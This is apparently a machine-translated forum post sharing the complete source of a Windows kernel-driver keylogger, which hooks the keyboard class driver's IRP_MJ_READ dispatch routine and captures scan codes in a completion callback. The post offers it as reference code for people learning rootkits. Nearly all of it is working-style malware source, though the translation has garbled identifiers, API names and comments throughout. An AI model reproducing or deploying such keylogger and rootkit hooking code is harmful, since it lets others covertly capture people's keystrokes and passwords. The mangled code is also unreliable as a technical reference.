Author: cogito
The day before yesterday to read the rootkit hook combojiang series [five] IRP hook Family Fu (original post: http://bbs.pediy.com/showthread.php? T = 60022), it is decided to use the third method in the article to implement a keylogger. However, the combojiang predecessors did not put a demo, and I did not seem to find a complete IRP hook keyboard logger instance on the Internet, so I wrote one, privilege is to provide a complete reference code for new people who learn rootkit (of course, I am also a new driver). Please ignore it.
As instructed by achillis's predecessors, I modified the unmount function to cancel the pending IRP during uninstallation, so that I don't need to wait for another button.
In this example, only the irp_mj_read Distribution Function in the original keyboard driver is replaced, and the keyboard code is simply printed out in the callback function.
The main code is as follows:
Code:
# Include <WDM. h> # include <ntddkbd. h> # include "irpklog. H "// name of the device driver to be obtained # define kbd_driver_name l" // driver // kbdclass "// Save the original distribution function pointer pdriver_dispatch olddispatchread; // Save the keyboard driver object pdriver_object kbddriverobject; // The number of unfinished IRPs. If the driver is not tracked, it will become ugly when unmounted. Int numpendingirps = 0; extern pobject_type iodriverobjecttype; // Save the current pending IRP to cancel pirp pendingirp = NULL when uninstalling; booleancancelkeyboardirp (in pirirp) {If (IRP = NULL) {dbgpr INT ("cancelkeyboardirp: IRP error/N"); Return false ;}/// some judgments here are not required, however, be careful when you do so. // If (IRP-> cancel | IRP-> cancelroutine = NULL) {dbuplint ("can't cancel the IRP/N "); return false;} If (false = iocancelirp (IRP) {dbuplint ("iocancelirp () to failed/N"); Return false ;} /// reset this routine to null after cancellation // iosetcancelroutine (IRP, null); Return true;} // The Void unload (in pdriver_object pdriweaver driver uninstall Function Bject) {pdevice_object pdeviceobj; large_integer ldelay; prkthread currentthread; // delay some time ldelay = rtlconvertlongtolargeinteger (100 * delay_one_millisecond); currentthread = keetcurrentthread (); // set the current thread to a low real-time mode to minimize the impact on other programs. Kesetprioritythread (currentthread, low_realtime_priority); // restore IRP hook interlockedexchangepointer (& kbddriverobject-> majorfunction [irp_mj_read], olddispatchread ); // if there is still IRP unfinished and the current IRP is valid, try to cancel this IRP pdeviceobj = pdriverobject-> deviceobject; If (numpendingirps> 0 & pendingirp! = NULL) {If (cancelkeyboardirp (pendingirp) = status_cancelled) {dbuplint ("successfully canceled IRP/N"); goto _ end ;}} dbuplint ("there are % d tagged IRPs/N", numpendingirps); // dbuplint ("wait for the last button... /n "); While (numpendingirps) {kedelayexecutionthread (kernelmode, false, & ldelay) ;}__ end: dbuplint (" delete a device ...... /N "); iodeletedevice (pdeviceobj); dbuplint (" Driver unload OK! /N "); return;} // mj_read callback function ntstatus onreadcompletion (in pdevice_object deviceobject, in piririrp, in pvoid context) {ulong buf_len = 0; puchar Buf = NULL; size_t I, numkeys; pkeyboard_input_data keydata; pio_stack_location irpsp = iogetcurrentirpstacklocation (IRP); // if the request is successful. Obviously, if the request fails, it is meaningless to obtain // further information if (nt_success (IRP-> iostatus. status) {// obtain the buffer Buf = IRP-> associatedirp output after the Read Request is complete. systembuffer; keydata = (pkeyboard_input_data) BUF; // obtain the length of the buffer. Generally, the returned values are stored in // information. Buf_len = IRP-> iostatus. information; numkeys = buf_len/sizeof (keyboard_input_data); // simple print scan code for (I = 0; I <numkeys; ++ I) {// dbuplint ("ctrl2cap: % 2x/R/N ", Buf [I]); dbuplint ("/N "); dbuplint (" numkeys: % d ", numkeys); dbuplint (" scancode: % x ", keydata-> makecode); dbuplint (" % s/n ", keydata-> flags? "Up": "down"); print_keystroke (uchar) keydata-> makecode); If (keydata-> makecode = caps_lock) {keydata-> makecode = lcontrol ;}} dbuplint ("entering onreadcompletion routine... /n "); // complete an IRP numpendingirps --; If (IRP-> pendingreturned) {iomarkirppending (IRP);} // call the original completion function, if (IRP-> stackcount> (ulong) 1) & (context! = NULL) {return (pio_completion_routine) Context) (deviceobject, IRP, null);} else {return IRP-> iostatus. status ;}// new distribution function ntstatus newdispatchread (in pdevice_object pdeviceobject, in pirp) {// dbuplint ("entering newdispatchread routine... /n "); // The completion function pio_stack_location irpsp; irpsp = iogetcurrentirpstacklocation (pirp); irpsp-> control = sl_invoke_on_success | sl_invoke_on_error | sl_invoke_o N_cancel; // irpsp-> control = finished; // retain the original completion function. If yes, irpsp-> context = irpsp-> completionroutine; irpsp-> completionroutine = (pio_completion_routine) onreadcompletion; dbuplint ("callback function set... /n "); // increment the number of uncompleted IRPs numpendingirps ++; If (numpendingirps> 0) {pendingirp = pirp;} return olddispatchread (pdeviceobject, pirp );} ntstatus DriverEntry (in pdriver_object pdriverobject, in punicode_strin G registrypath) {ntstatus status = 0; unicode_string kbdnamestring; pdevice_object pdeviceobject; dbuplint ("IRP hook keyboard logger -- DriverEntry/N "); // initialize the name of the kdbclass driver rtlinitunicodestring (& kbdnamestring, kbd_driver_name); // for this program, you do not need to create a device or link status = iocreatedevice (pdriverobject, 0, // temporarily set to 0 null, // No need to name file_device_unknown, 0, true, // if it is set to true, the driver is exclusive, most of which are false & pdeviceobject); If (! Nt_success (Status) {dbuplint ("create device error! /N "); Return status;} // set the driver unmount function pdriverobject-> driverunload = unload; // obtain the driver object status = obreferenceobjectbyname (& kbdnamestring, obj_case_insensitive, null, 0, iodriverobjecttype, kernelmode, null, & kbddriverobject // Save the obtained device object); If (! Nt_success (Status) {// If dbuplint ("couldn't get the KBD driver object/N"); Return status_unsuccessful ;} else {// unreference callback (kbddriverobject);} olddispatchread = kbddriverobject-> majorfunction [irp_mj_read]; // atomic swap operation handler (& kbddriverobject-> majorfunction [irp_mj_read], newdispatchread); Return status ;}